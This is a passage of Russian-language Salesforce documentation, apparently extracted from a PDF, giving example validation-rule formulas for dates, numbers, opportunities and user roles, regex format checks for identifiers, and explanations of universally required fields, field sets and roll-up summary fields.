Проверяетнастраиваемоеполедатынаналичиедаты, относящейся к текущему году.Описание:

YEAR( My_Date__c ) <> YEAR ( TODAY() )Формула:

Дата должна относиться к текущему году.Сообщение об ошибке:

Моя датаРасположение ошибки:
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Дата должна соответствовать последнему дню месяца

ЗначениеПоле

Проверяет значениенастраиваемогополя «Моя дата» на соответствиепоследнему
дню месяца. Правило проверки определяет первый день следующего месяца и
отнимает 1 день. Правило применяет особую логику для декабря.

Описание:

DAY(My_Date__c) <>
IF(Month(My_Date__c)=12, 31,
DAY(DATE(YEAR(My_Date__c),MONTH(My_Date__c)+1,1) - 1))

Формула:

Дата должна соответствовать последнему дню месяца.Сообщение об ошибке:

Моя датаРасположение ошибки:

Дата должна относиться к году, начинающемуся сегодня

ЗначениеПоле

Проверяет настраиваемое поле «Дополнительная дата» на наличие значения,
относящегося к году, начинающемуся сегодня. Данный пример предназначен для
365-дневного года. (Високосные годы не обрабатываются.)

Описание:

Followup_Date__c - TODAY() > 365
Формула:

Поле «Дополнительная дата» должно содержать значение, относящееся к году,
начинающемуся сегодня.

Сообщение об ошибке:

Дополнительная датаРасположение ошибки:

День месяца должен предшествовать 15 числу

ЗначениеПоле

Проверяет настраиваемое поле «Дата начала» на наличие даты, предшествующей
15 числу текущего месяца.

Описание:

DAY( Begin_Date__c ) > 15
Формула:

Значение поля «Дата начала» должно предшествовать 15 числу месяца.Сообщение об ошибке:

Дата началаРасположение ошибки:
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Дата окончания должна следовать за датой начала

ЗначениеПоле

Проверяет настраиваемое поле «Дата окончания» на наличие значения, которое
не предшествует значению другого настраиваемого поля «Дата начала».

Описание:

Begin_Date__c > End_Date__c
Формула:

Дата окончания должна следовать за датой начала.Сообщение об ошибке:

Дата началаРасположение ошибки:

Дата истечения срока действия должна следовать за датой закрытия

ЗначениеПоле

Проверяет настраиваемое поле «Дата истечения срока действия» на наличие
значения, которое не предшествует значению поля «Дата закрытия».

Описание:

Expiration_Date__c < CloseDate
Формула:

Дата истечения срока действия должна следовать за датой закрытия.Сообщение об ошибке:

Дата истечения срока действияРасположение ошибки:

Примеры правил проверки чисел

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Дополнительнуюинформациюо любыхфункцияхформулы, используемых в данных
примерах, см. в разделе «Операторы и функцииформулы» на странице 4632.
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40-часовые табели

ЗначениеПоле

Запрещает пользователям сохранять табели, содержащие более 40 часов в рабочей
неделе. Данный пример требует использования пяти настраиваемых полей
настраиваемого объекта (по одному полю для каждого рабочего дня).

Описание:

Monday_Hours__c +
Tuesday_Hours__c +
Wednesday_Hours__c +
Thursday_Hours__c +
Friday_Hours__c > 40

Формула:

Общее количество часов не должно превышать 40.Сообщение об ошибке:

Вверху страницыРасположение ошибки:

Число не может быть отрицательным

ЗначениеПоле

Проверяетнастраиваемоеполе «Отработанные часы» наналичиенеотрицательного
числа.

Описание:

Hours_Worked__c < 0
Формула:

Поле «Отработанные часы» не может содержать отрицательное число.Сообщение об ошибке:

Отработанные часыРасположение ошибки:

Число должно быть четным

ЗначениеПоле

Проверяетнастраиваемоеполе «Пассажиры корабля» наналичиенеотрицательного
четного числа.

Описание:

OR(
Ark_Passengers__c < 0,
MOD( Ark_Passengers__c, 2) <> 0

)

Формула:

Поле «Пассажиры корабля» должно содержать положительное четное число.Сообщение об ошибке:

Пассажиры корабляРасположение ошибки:
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Число должно быть нечетным

ЗначениеПоле

Проверяет настраиваемое поле «Найдено носков» на наличие неотрицательного
нечетного числа.

Описание:

OR(
Socks_Found__c < 0,
MOD( Socks_Found__c, 2) = 0

)

Формула:

Поле «Найдено носков» должно содержать нечетное число.Сообщение об ошибке:

Найдено носковРасположение ошибки:

Число должно быть кратным пяти

ЗначениеПоле

Проверяет настраиваемое поле «Кратное 5» на наличие числа, кратного пяти.Описание:

MOD( Multiple_of_5__c, 5) <> 0
Формула:

Число должно быть кратным пяти.Сообщение об ошибке:

Кратное 5Расположение ошибки:

Число должно быть целым

ЗначениеПоле

Проверяет настраиваемое поле «Мое целое число» на наличие целого числа.Описание:

FLOOR( My_Integer__c) <> My_Integer__c
Формула:

Данное поле должно содержать целое число.Сообщение об ошибке:

Мое целое числоРасположение ошибки:
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Число должно соответствовать диапазону -50 — 50

ЗначениеПоле

Проверяет настраиваемое поле «Объем» на наличие числа, соответствующего
диапазону -50 — 50.

Описание:

ABS( Volume__c) > 50
Формула:

Поле «Объем» должно содержать число, соответствующее диапазону -50 — 50.Сообщение об ошибке:

ОбъемРасположение ошибки:

Проверка диапазона чисел

ЗначениеПоле

Проверяет два настраиваемых поля «Мин. зарплата» и «Макс. зарплата» на
наличие чисел, диапазон которых не превышает 20 000 долларов США.

Описание:

(Salary_Max__c - Salary_Min__c) > 20000
Формула:

Диапазон зарплат не должен превышать 20 000 долларовСША. Измените значение
поля «Макс. зарплата» или «Мин. зарплата».

Сообщение об ошибке:

Макс. зарплатаРасположение ошибки:

Процент должен соответствовать диапазону 0 — 100

ЗначениеПоле

Проверяет настраиваемое поле «Смешанный процент» на наличие числа,
соответствующего диапазону 0 — 100%. Обратите внимание, что поля процентов
отображаются в формулах путем деления на 100 (1 соответствует 100%; 0,5
соответствует 50%).

Описание:

OR(
Mix_Pct__c > 1.0,
Mix_Pct__c < 0.0

)

Формула:

Поле «Смешанныйпроцент» должносодержатьчисло, соответствующеедиапазону
0 — 100%.

Сообщение об ошибке:

Смешанный процентРасположение ошибки:
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Примеры правил проверки возможностей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Дополнительнуюинформациюо любыхфункцияхформулы, используемых в данных
примерах, см. в разделе «Операторы и функцииформулы» на странице 4632.

Условно обязательное поле на основе этапа возможности

ЗначениеПоле

Проверяетнастраиваемоеполе «Дата доставки» наналичие
значения, есливозможностиназначается этап Closed Won или
Negotiation/Review.

Описание:

AND (
OR (

ISPICKVAL(StageName, "Closed Won"),
ISPICKVAL(StageName,

"Negotiation/Review")),
ISBLANK(Delivery_Date__c)
)

Формула:

Поле «Дата доставки» является обязательным для данного
этапа.

Сообщение об
ошибке:

Дата доставкиРасположение
ошибки:

Дата закрытия должна следовать за текущим месяцем

ЗначениеПоле

Проверяет поле возможности «Дата закрытия» на наличие даты, относящейся к
следующему месяцу. Обратите внимание, что использование функций ISNEW и
ISCHANGED в данной формуле позволяет проверять условие только при создании
возможности или последующем изменении поля «Дата закрытия».

Описание:

AND(
OR (

ISNEW(),
ISCHANGED( CloseDate )),

CloseDate < DATE( YEAR(TODAY()), MONTH(TODAY()), 1) )

Формула:

Дата закрытия должна следовать за текущим месяцем.Сообщение об ошибке:

Дата закрытияРасположение ошибки:
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Дата закрытия должна относиться к будущему

ЗначениеПоле

Запрещает пользователям заполнять поле возможности «Дата закрытия» прошедшей
датой.

Описание:

SampleDate < TODAY()
Формула:

Дата закрытия должна относиться к будущему.Сообщение об ошибке:

Дата закрытияРасположение ошибки:

Скидки для возможностей

ЗначениеПоле

Проверяет настраиваемое поле процента скидки на наличие числа, соответствующего
диапазону 0 — 40%.

Описание:

OR(Discount_Rate__c < 0, Discount_Rate__c > 0.40)Формула:

Значение поля «Размер скидки» не должно превышать 40%.Сообщение об ошибке:

Размер скидкиРасположение ошибки:

Ценная возможность должна быть закрыта после утверждения

ЗначениеПоле

Возможности, стоимость которых превышает 50 000 долларов США, могут быть
закрыты посредством этапа Closed Won или Closed Lost только после установки
настраиваемого флажка «Утверждено». Чтобы автоматизировать данный процесс,
настройтепараметрыбезопасностиполя «Утверждено», разрешающиеустанавливать
флажоктолькопосредствомнастраиваемогопроцесса утверждения (версия Enterprise
Edition, Unlimited Edition или Performance Edition).

Описание:

AND(
OR(

ISPICKVAL(StageName,"Closed Won"),
ISPICKVAL(StageName,"Closed Lost")),

(Amount > 50000),
NOT(ISPICKVAL(Approval_Status__c ,"Approved")))

Формула:

Все ценные возможности должны закрываться после утверждения. Нажмите кнопку
«Запросить закрытие».

Сообщение об ошибке:

Вверху страницыРасположение ошибки:
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Стоимость возможности не может превышать 10 миллионов долларов США

ЗначениеПоле

Проверяет поле возможности «Стоимость» на наличие положительного значения,
котороенепревышает 10 миллионовдолларовСША. Данноеограничениепозволяет
находить опечатки.

Описание:

OR(
Amount < 0,
Amount > 10000000

)

Формула:

Стоимость не может превышать 10 миллионов долларов США.Сообщение об ошибке:

СтоимостьРасположение ошибки:

Проверка возможности на наличие продуктов

ЗначениеПоле

Проверяет возможность на наличие как минимум одного продукта перед сохранением
внесенных изменений.

Описание:

NOT(OR(ISNEW(),HasOpportunityLineItem))
Формула:

Прежде чем сохранить данную возможность, рекомендуем добавить продукты.Сообщение об ошибке:

Вверху страницыРасположение ошибки:
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Этапы возможности, следующие за этапом Needs Analysis, должны быть доступны только при наличии
продуктов

ЗначениеПоле

Проверяет возможностьнаналичиепродуктовпередизменениемэтапа Needs Analysis
в поле «Этап».

Описание:

AND (
CASE( StageName,

"Value Proposition", 1,
"Id. Decision Makers", 1,
"Perception Analysis", 1,
"Proposal/Price Quote", 1,
"Negotiation/Review", 1,
"Closed Won", 1,
0) = 1,

NOT(HasOpportunityLineItem)
)

Формула:

Этапы возможности, следующие за этапом Needs Analysis, доступны только при
наличии продуктов.

Сообщение об ошибке:

Вверху страницыРасположение ошибки:

Формат имени возможности

ЗначениеПоле

Проверяет имя возможности на наличие дефиса, который должен использоваться
согласно схеме наименования возможностей «[Организация] - [Стоимость]».

Описание:

FIND( " - ", Name ) = 0
Формула:

Имя возможности должно использовать формат «[Организация] - [Стоимость]».Сообщение об ошибке:

Имя возможностиРасположение ошибки:
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Запрет на восстановление этапа возможности торговыми представителями

ЗначениеПоле

Запрещает торговым представителям восстанавливать некоторые значения поля
возможности «Этап», есливозможностьпринимаетсяпосредствомнастраиваемого
процесса утверждения. Процесс утверждения задает настраиваемому флажку
«Принято» значение «Истина».

Описание:

AND(
Accepted_Flag__c,
OR ( ISPICKVAL( StageName, "Stage 1"), ISPICKVAL( StageName,

"Stage 2"))
)

Формула:

Недопустимый этап для принятой возможности.Сообщение об ошибке:

ЭтапРасположение ошибки:

Вероятность реализованных возможностей должна составлять 100%

ЗначениеПоле

Проверяет вероятность реализованной возможности на соответствие 100%. Данное
правило гарантирует точность данных и позволяет составлять отчеты.

Описание:

AND (
ISPICKVAL( StageName, "Closed Won"),
Probability <> 1)

Формула:

Вероятность реализованных возможностей должна составлять 100%.Сообщение об ошибке:

ВероятностьРасположение ошибки:

Вероятность нереализованных возможностей должна составлять 0%

ЗначениеПоле

Проверяет вероятность нереализованной возможностина соответствие 0%. Данное
правило гарантирует точность данных и позволяет составлять отчеты.

Описание:

AND (
ISPICKVAL( StageName, "Closed Lost"),
Probability <> 0)

Формула:

Вероятность нереализованных возможностей должна составлять 0%.Сообщение об ошибке:

ВероятностьРасположение ошибки:
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Дата начала проекта

ЗначениеПоле

Проверяет поле на наличие статуса условно обязательного на основе значений других
полей. Данная формула проверки позволяет гарантировать наличие поля «Дата начала
проекта» для закрытой/реализованной возможности.

Описание:

AND(ISPICKVAL(StageName, "Closed Won"),
ISNULL(Project_Start_Date__c))

Формула:

Поле «Дата начала проекта» является обязательным для реализованных возможностей.Сообщение об ошибке:

Дата начала проектаРасположение ошибки:

Примеры правил проверки смет

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Дополнительнуюинформациюо любыхфункцияхформулы, используемых в данных
примерах, см. в разделе «Операторы и функцииформулы» на странице 4632.

Отображение ошибки, если скидка по элементу строки сметы превышает 40%

ЗначениеПоле

Отображает ошибку, если скидка по элементу строки сметы
превышает 40%.

Описание:

Discount > .40
Формула:

Скидка по данному элементу строки сметы не может
превышать 40%.

Сообщение об
ошибке:

Поле сметы «Скидка»Расположение
ошибки:
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Примеры правил проверки пользователей, ролей и профилей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Дополнительнуюинформациюо любыхфункцияхформулы, используемых в данных
примерах, см. в разделе «Операторы и функцииформулы» на странице 4632.

Процент скидки не превышает ролевого ограничения

ЗначениеПоле

Проверяет настраиваемое поле возможности «Процент
скидки» на наличие значения, которое не превышает
установленного ограничения, зависящего от роли
пользователя. По умолчанию ограничение составляет 15%.

Описание:

Discount_Percent__c >
VLOOKUP($ObjectType.Role_Limits__c.Fields.Limit__c,

$ObjectType.Role_Limits__c.Fields.Name,
$UserRole.Name)

Формула:

Процентскидкипревышаетограничение, установленноедля
выбранной роли.

Сообщение об
ошибке:

Процент скидкиРасположение
ошибки:

Сумма расходов не превышает ограничения, установленного для пользователя

ЗначениеПоле

Проверяет настраиваемое поле «Сумма расходов» относительно настраиваемого
поля пользователя «Ограничение по расходам».

Описание:

Expense_Amount__c > $User.Max_Allowed_Expense__c
Формула:

Сумма не может превышать установленного ограничения по расходам.Сообщение об ошибке:

Сумма расходовРасположение ошибки:
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Поле может быть изменено только ответственным за запись

ЗначениеПоле

Разрешает изменять настраиваемое поле «Личная цель» только ответственному за
запись.

Описание:

AND(
ISCHANGED( Personal_Goal__c ),
Owner <> $User.Id

)

Формула:

Поле «Личная цель» может быть изменено только ответственным за запись.Сообщение об ошибке:

Личная цельРасположение ошибки:

Поле может быть изменено только ответственным за запись или администратором

ЗначениеПоле

Разрешает изменять настраиваемое поле «Личная цель» только ответственному за
запись илипользователюс настраиваемымпрофилем «Настраиваемый: системный
администратор».

Описание:

AND( ISCHANGED( Personal_Goal__c ), Owner <> $User.Id,
$Profile.Name <>

"Custom: System Admin" )

Формула:

Прим.: Поля слияния $Profile доступны только в версиях Enterprise Edition,
Unlimited Edition, Performance Edition и Developer Edition.

Поле «Личная цель» может быть изменено только ответственным за запись или
администратором.

Сообщение об ошибке:

Личная цельРасположение ошибки:
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Прошедшая дата закрытия возможности может быть выбрана только администратором

ЗначениеПоле

Проверяет поле возможности «Дата закрытия» на наличие даты, следующей за
текущиммесяцем, кромепользователейснастраиваемымпрофилем «Настраиваемый:
системный администратор».

Описание:

AND(
OR (

ISNEW(),
ISCHANGED( CloseDate )),

CloseDate < DATE( YEAR(TODAY()), MONTH(TODAY()), 1),
$Profile.Name <> "Custom: System Admin"

)

Формула:

Прим.: Поля слияния $Profile доступны только в версиях Enterprise Edition,
Unlimited Edition, Performance Edition и Developer Edition.

Дата закрытия должна следовать за текущим месяцем.Сообщение об ошибке:

Дата закрытияРасположение ошибки:

Прочие примеры правил проверки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com.

Дополнительнуюинформациюо любыхфункцияхформулы, используемых в данных
примерах, см. в разделе «Операторы и функцииформулы» на странице 4632.

Разрешение на увеличение числа

ЗначениеПоле

Разрешает увеличивать значение настраиваемого поля
«Стоимость: обязательство» после исходного создания.
Данное правило использует функцию PRIORVALUE() для
сравнения обновленного значения поля с предыдущим
значением.

Описание:

PRIORVALUE(Commit_Amount__c) >
Commit_Amount__c

Формула:

Значение поля «Стоимость: обязательство» не может быть
уменьшено.

Сообщение об
ошибке:

Стоимость: обязательствоРасположение
ошибки:
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Водительские права (Калифорния)

ЗначениеПоле

Проверяет настраиваемое поле «Водительские права» на соответствие формату
A9999999, если поле «Область в почтовом адресе» содержит значение CA.

Описание:

AND(
MailingState = "CA",
NOT(REGEX(Drivers_License__c, "([A-Z]\\d{7})?"))
)

Формула:

Недопустимыйформат поля «Водительские права».Сообщение об ошибке:

Водительские праваРасположение ошибки:

Принудительная установка флажка «Я принимаю условия» при вводе некоторых значений

ЗначениеПоле

Использует флажок «Я принимаю условия», который должен быть установлен при
вводезначения «Количество дней», превышающегоограничениедляоплачиваемого
отпуска.

Описание:

AND(
NOT( I_accept_terms__c ),
Number_of_Days__c > $User.PTO_Balance__c

)

Формула:

Запрос превышает ограничение для оплачиваемого отпуска. Рекомендуем принять
соответствующие условия.

Сообщение об ошибке:

Я принимаю условияРасположение ошибки:

Запрет на изменение сохраненного поля

ЗначениеПоле

Запрещает пользователям изменять настраиваемое поле «Гарантированный курс»
после первоначального сохранения.

Описание:

AND(
NOT( ISNEW() ),
ISCHANGED( Guaranteed_Rate__c )

)

Формула:

Значение поля «Гарантированный курс» не может быть изменено.Сообщение об ошибке:

Гарантированный курсРасположение ошибки:
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Формат номера социального обеспечения

ЗначениеПоле

Проверяет заполненное настраиваемое текстовое поле «Номер социального
обеспечения» на соответствие формату 999-99-9999. Данныйшаблон содержит:

Описание:

• Три любых цифры (0-9):\\d{3}

• Тире

• Две любых цифры (0-9):\\d{2}

• Тире

• Четыре любых цифры (0-9):\\d{4}

NOT(
OR(
ISBLANK(Social_Security_Number__c),
REGEX( Social_Security_Number__c , "[0-9]{3}-[0-9]{2}-[0-9]{4}")
)
)

Формула:

Номер социального обеспечения должен соответствовать следующему формату:
999-99-9999.

Сообщение об ошибке:

Номер социального обеспеченияРасположение ошибки:

Допустимая валюта

ЗначениеПоле

Проверяет выбранную валюту относительно заданного набора активных валют
организации посредством раскрывающегося списка «Валюта». Данный пример
позволяет применять к определенным типам записей только некоторые активные
валюты организации.

Описание:

CASE(CurrencyIsoCode,
"USD", 1,
"EUR", 1,
"GBP", 1,
"JPY", 1,
0) = 0

Формула:

Допустимая валюта: USD, EUR, GBP или JPY.Сообщение об ошибке:

ВалютаРасположение ошибки:
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Допустимый номер кредитной карты

ЗначениеПоле

Проверяет заполненноенастраиваемое текстовоеполе «Номер кредитной карты»
насоответствиеформату 9999-9999-9999-9999 или 9999999999999999. Данныйшаблон
содержит:

Описание:

• Четыре цифры (0-9) и тире: \\d{4}-

• Трехкратное повторение указанного вышешаблона в скобках {3}

• Четыре цифры (0-9)

• Символ «ИЛИ» (|), позволяющий вводить 16 цифр без использования тире:
\\d{16}

NOT( REGEX( Credit_Card_Number__c ,
"(((\\d{4}-){3}\\d{4})|\\d{16})?"))

Формула:

Номер кредитной карты должен соответствовать следующему формату:
9999-9999-9999-9999 или 9999999999999999.

Сообщение об ошибке:

Номер кредитной картыРасположение ошибки:

Допустимый IP-адрес

ЗначениеПоле

Проверяетнастраиваемоеполе «IP-адрес» насоответствиеформату 999.999.999.999.Описание:

NOT(
REGEX( IP_Address__c,

Формула:

"^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.)
{3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$" ))

Ошибка. IP-адрес должен соответствоватьформату 999.999.999.999, где каждая часть
представлена трехзначным числом (0-255).

Сообщение об ошибке:

IP-адресРасположение ошибки:

4592

Работа с настраиваемыми полямиРасширение Salesforce посредством интерактивных
инструментов



Расширение веб-сайта

ЗначениеПоле

Проверяет настраиваемое поле «Веб-сайт» на наличие допустимого
четырехзначного расширения.

Описание:

AND(
RIGHT( Web_Site__c, 4) <> ".COM",
RIGHT( Web_Site__c, 4) <> ".com",
RIGHT( Web_Site__c, 4) <> ".ORG",
RIGHT( Web_Site__c, 4) <> ".org",
RIGHT( Web_Site__c, 4) <> ".NET",
RIGHT( Web_Site__c, 4) <> ".net",
RIGHT( Web_Site__c, 6) <> ".CO.UK",
RIGHT( Web_Site__c, 6) <> ".co.uk"

)

Формула:

Допустимое расширение веб-сайта: .com, .org, .net или .co.uk.Сообщение об ошибке:

Веб-сайтРасположение ошибки:

Требование ввода поля для обеспечения качества данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com.

Connect Offline,
Salesforce for Outlook, the
Self-Service portal,
Web-to-Lead и Web-to-Case
недоступны в
Database.com

.

Система Salesforce позволяет повысить качество данных, вводимых пользователями,
путем создания универсальных обязательных полей.

Универсальное обязательное поле представляет собой настраиваемое поле, которое
должноиметь значениеприкаждомсохранениизаписив Salesforce, Force.com API, Connect
Offline, Salesforce for Outlook, портале самообслуживания или в автоматизированных
процессах (например, Web-to-Lead и Web-to-Case).Поле, которому назначается статус
обязательного в макете страницы или параметрах безопасности, должно содержать
значение. Поле, которому назначается статус универсального обязательного,
предоставляет более высокий уровень качества данных, чем уровень представления
макетов страниц.

Ниже перечислены типы настраиваемых полей, которые могут быть обязательными.

• Валюта

• Дата

• Дата/время

• Эл. почта

• Взаимосвязь «Основная — подробная» (всегда обязательное)

• Число

• Процент

• Тел.

• Текст

• Область текста

• URL-адрес
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Чтобы назначить настраиваемому полю статус универсального обязательного, установите флажок «Обязательно» при
определении настраиваемого поля.

Прим.: Обязательные настраиваемые поля участников кампании должны содержать стандартные значения.

Поле, которому назначается статус универсального обязательного, должно содержать стандартное значение.

Участники группы взаимосвязи не поддерживают универсальные обязательные поля.

СМ. ТАКЖЕ:

Рекомендации по универсальным обязательным полям

Рекомендации по универсальным обязательным полям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

«Стандартные объекты»,
«Макеты страниц», «Connect
Offline»,
«Salesforce for Outlook»,
портал самообслуживания,
Web-to-Lead и Web-to-Case
недоступны в
Database.com.

Универсальное обязательное поле представляет собой настраиваемое поле, которое
должноиметь значениеприкаждомсохранениизаписив Salesforce, Force.com API, Connect
Offline, Salesforce for Outlook, портале самообслуживания или автоматизированных
процессов (например, Web-to-Lead и Web-to-Case).Преждечемназначитьнастраиваемому
полюстатусуниверсальногообязательного, просмотритеуказанныенижерекомендации.

• Стандартные поля не могут быть универсальными обязательными.

• Универсальные обязательные поля являются обязательными во всех типах записей.

• Страницы редактирования всегда отображают универсальные обязательные поля,
независимо от заданных параметров безопасности поля.

• При создании макетов страниц универсальные обязательные поля:

– Не могут быть удалены из макета страницы.

– Автоматически добавляются в конец первого раздела макета страницы.

– Не могут быть доступными только для чтения или необязательными.

– Отображаются жирнымшрифтом, указывающим на их доступность.

– Отключенына странице свойств поля, так как параметр «Обязательно» неможет
быть удален.

• Универсальные обязательные поля применяются принудительно только при
преобразовании интересов, если организация использует правила проверки и
триггеры для преобразования интересов.

• Функция «Быстрое создание» не применяет универсальные обязательные поля
принудительно.

• Настраиваемое поле действия, которому назначается статус универсального обязательного, должно содержать
стандартное значение.

• Универсальные обязательные поля должны быть добавлены в файлы импорта. В противном случае импорт не
выполняется.

• Не рекомендуем назначать стандартные значения полям, которые одновременно являются обязательными и
уникальными, ввиду возможного возникновения ошибок уникальности.

• Полю, используемому обновлением поля, которое задает пустое значение, не может быть назначен статус
универсального обязательного.
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• Записи, созданныедоназначенияполюстатусаобязательного, могутсодержатьпустыезначения. Преждечемсохранить
обновленную запись, содержащую пустое обязательное поле, рекомендуем заполнить обязательное поле нужным
значением.

• Система Salesforce не проверяет данные запросов Web-to-Lead и Web-to-Case. Недопустимые данные не сохраняются
при отправке запросов. Так, при заполнении настраиваемого поля типа «Валюта» буквами (например, «Абв») взамен
цифр система позволяет отправить запрос, но не сохраняет введенное значение.

СМ. ТАКЖЕ:

Требование ввода поля для обеспечения качества данных

Общие сведения о наборах полей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Наборполей — это группировкаполей. Например, наборполейможет содержатьполя,
описывающие личное имя, отчество, фамилию и должность пользователя.При
добавлении набора полей на страницу Visualforce разработчики могут повторять поля,
доступные для отображения. Если страница добавляется в управляемый пакет, то
администраторы могут добавлять, удалять или изменять порядок отображения полей
набора для изменения полей, представленных на странице Visualforce, без изменения
кода.Наборы данных, отображаемые на странице Visualforce, определяются полями,
выбранными подписчиком.

Администраторорганизацииможет создаватьилиредактироватьнаборыполей, а также
редактировать любой установленный набор полей. Наборы полей доступны для всех
стандартных объектов, поддерживающих настраиваемые поля, и во всех организациях,
поддерживающих возможность создания страниц Visualforce.

Поля, добавленные в набор полей, могут использовать одну из двух категорий.

• Поле, помеченноекак «Доступно для набора полей», существует внабореполей, нонепредставленоразработчиком
настраницеVisualforce. Чтобыдобавитьполепослеразвертываниянабораполей, администратордолженпереместить
поле из столбца «Доступно» в столбец «В наборе полей».

• Поле, помеченное как «В наборе полей», отображается на странице Visualforce по умолчанию. Чтобы удалить поле
после развертывания набора полей, администратор должен переместить поле из столбца «В наборе полей».

СМ. ТАКЖЕ:

Атрибут обязательного поля в наборе полей

Создание настраиваемых полей
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Создание и редактирование наборов полей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Система Salesforce поддерживает интерактивный инструмент WYSIWYG для создания и
редактирования наборов полей. Расширенный редактор наборов полей доступен по
умолчаниюиподдерживает всефункцииисходногоредактора, а такжедополнительные
функции и удобный интерфейс WYSIWYG.

1. Из параметров управления для соответствующего объекта перейдите в «Наборы
полей», затем нажмите кнопку «Создать».

2. Заполните поле «Метка набора полей». Данное имя отображается подписчикам,
устанавливающим поле посредством управляемого пакета.

3. Принеобходимостивведитеимянабораполей. Данноеимяиспользуется страницей
Visualforce для ссылки на набор полей.

4. Введите краткое описание страниц Visualforce, использующих набор полей, и цели
его использования в поле «Где это используется?». Данные сведения позволяют
подписчику понять где и как используется установленный набор полей, чтобы затем заполнить его собственными
полями.

5. Сохраните внесенные изменения.

6. Чтобы добавить поля в набор полей, перетащите нужные поля из палитры в контейнер «Доступно для набора
полей» или «В наборе полей». Поля контейнера «Доступно для набора полей» изначально не отображаются на
странице Visualforce. Поля контейнера «В наборе полей» отображаются по умолчанию.

Прим.: Набор полей позволяет связывать поля, ссылающиеся на разные объекты. Если набор полей ссылается
на разные объекты, то поле может быть связано только с объектом «Имя».

При необходимости перетащите поле из одного контейнера в другой. Вертикальный порядок списка «В наборе
полей» определяет порядок отображения полей на страницах Visualforce.

7. Чтобы удалить поле из набора полей, перетащите элемент обратно на палитру или щелкните значок ( ) напротив
нужного элемента.

8. Чтобы присвоить полю статус обязательного, дваждыщелкните нужный элемент или щелкните значок ( ) и
установите флажок «Обязательно».

Прим.: Значок указывает, что поле является обязательным и может быть сохранено только при наличии
значения.

9. Сохраните внесенные изменения.

Важное замечание: Контейнер «В наборе полей» может содержать не более 25 тегов span кросс-объекта.

Послеразвертываниянабораполейворганизацииполеиз списка «Доступно для набора полей» можетбытьпомечено
как поле «В наборе полей», или наоборот. Для этого, выполните указанные ниже действия.

1. Найдите нужный набор полей. В меню «Настройка» введите «Установленные пакеты» в поле «Быстрый поиск»,
выберите «Установленныепакеты», щелкните установленный пакет, затем выберите набор полей, который нужно
редактировать. Если объект, содержащий нужный набор полей, известен, откройте страницу сведений об объекте и
нажмите кнопку «Правка» в связанном списке «Наборы полей».

2. Набор полей, созданный другим пользователем, доступен только для редактирования полей. Чтобы переместить
поле из одного контейнера в другой, перетащите нужное поле из одного контейнера в другой. Чтобы изменить
порядок отображения полей, перетащите нужное поле выше или ниже по списку.
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3. Сохраните внесенные изменения.

Атрибут обязательного поля в наборе полей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Полю может быть назначен статус обязательного при создании или редактировании
наборов полей. Атрибут обязательного поля гарантирует заполнение поля нужными
сведениями. Обязательные поля доступны только в контейнере «В наборе полей».
Удалениеполя, заданногов качествеобязательногопосредствомконтейнера «В наборе
полей», изконтейнера «В наборе полей» инициируетудалениеатрибутаобязательного
поля.

Прим.: Удаление полей, заданных в качестве обязательных посредством
установленного управляемого пакета, из контейнера «В наборе полей» не
инициирует удаление атрибута обязательного поля.

Дополнительную информацию об определении обязательного поля в наборе полей
см. в разделе «Создание и редактирование наборов полей» на странице 4596.

СМ. ТАКЖЕ:

Общие сведения о наборах полей

Создание и редактирование наборов полей

Поле сводного резюмирования

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Поле сводного резюмирования вычисляет значения на основе связанных записей
(например, записи связанного списка). При необходимости создайте поле сводного
резюмирования для отображения значения основной записи на основе значений из
полей подробной записи. Подробная и основная записи должны быть связаны
посредством взаимосвязи «Основная — подробная». Например, сумма стоимостей для
всех связанных записей настраиваемого объекта «Счет» в связанном списке «Счета»
организации может быть отображена посредством настраиваемого поля организации
«Общая сумма по счету».

Поле сводного резюмированияподдерживает разные типывычислений. Пользователи
могут вычислять количество подробных записей, связанных с основной записью, либо
суммарное, минимальное или максимальное значение поля в подробных записях.

Прежде чем приступить к созданию полей сводного резюмирования для организации,
просмотрите перечисленные ниже советы и рекомендации по внедрению.

Советы по внедрению
Администрирование

• Создайте поля сводного резюмирования для следующих объектов:

– Любой настраиваемый объект, являющийся основным во взаимосвязи «Основная — подробная»

– Любой стандартный объект, являющийся основным во взаимосвязи «Основная — подробная» с настраиваемым
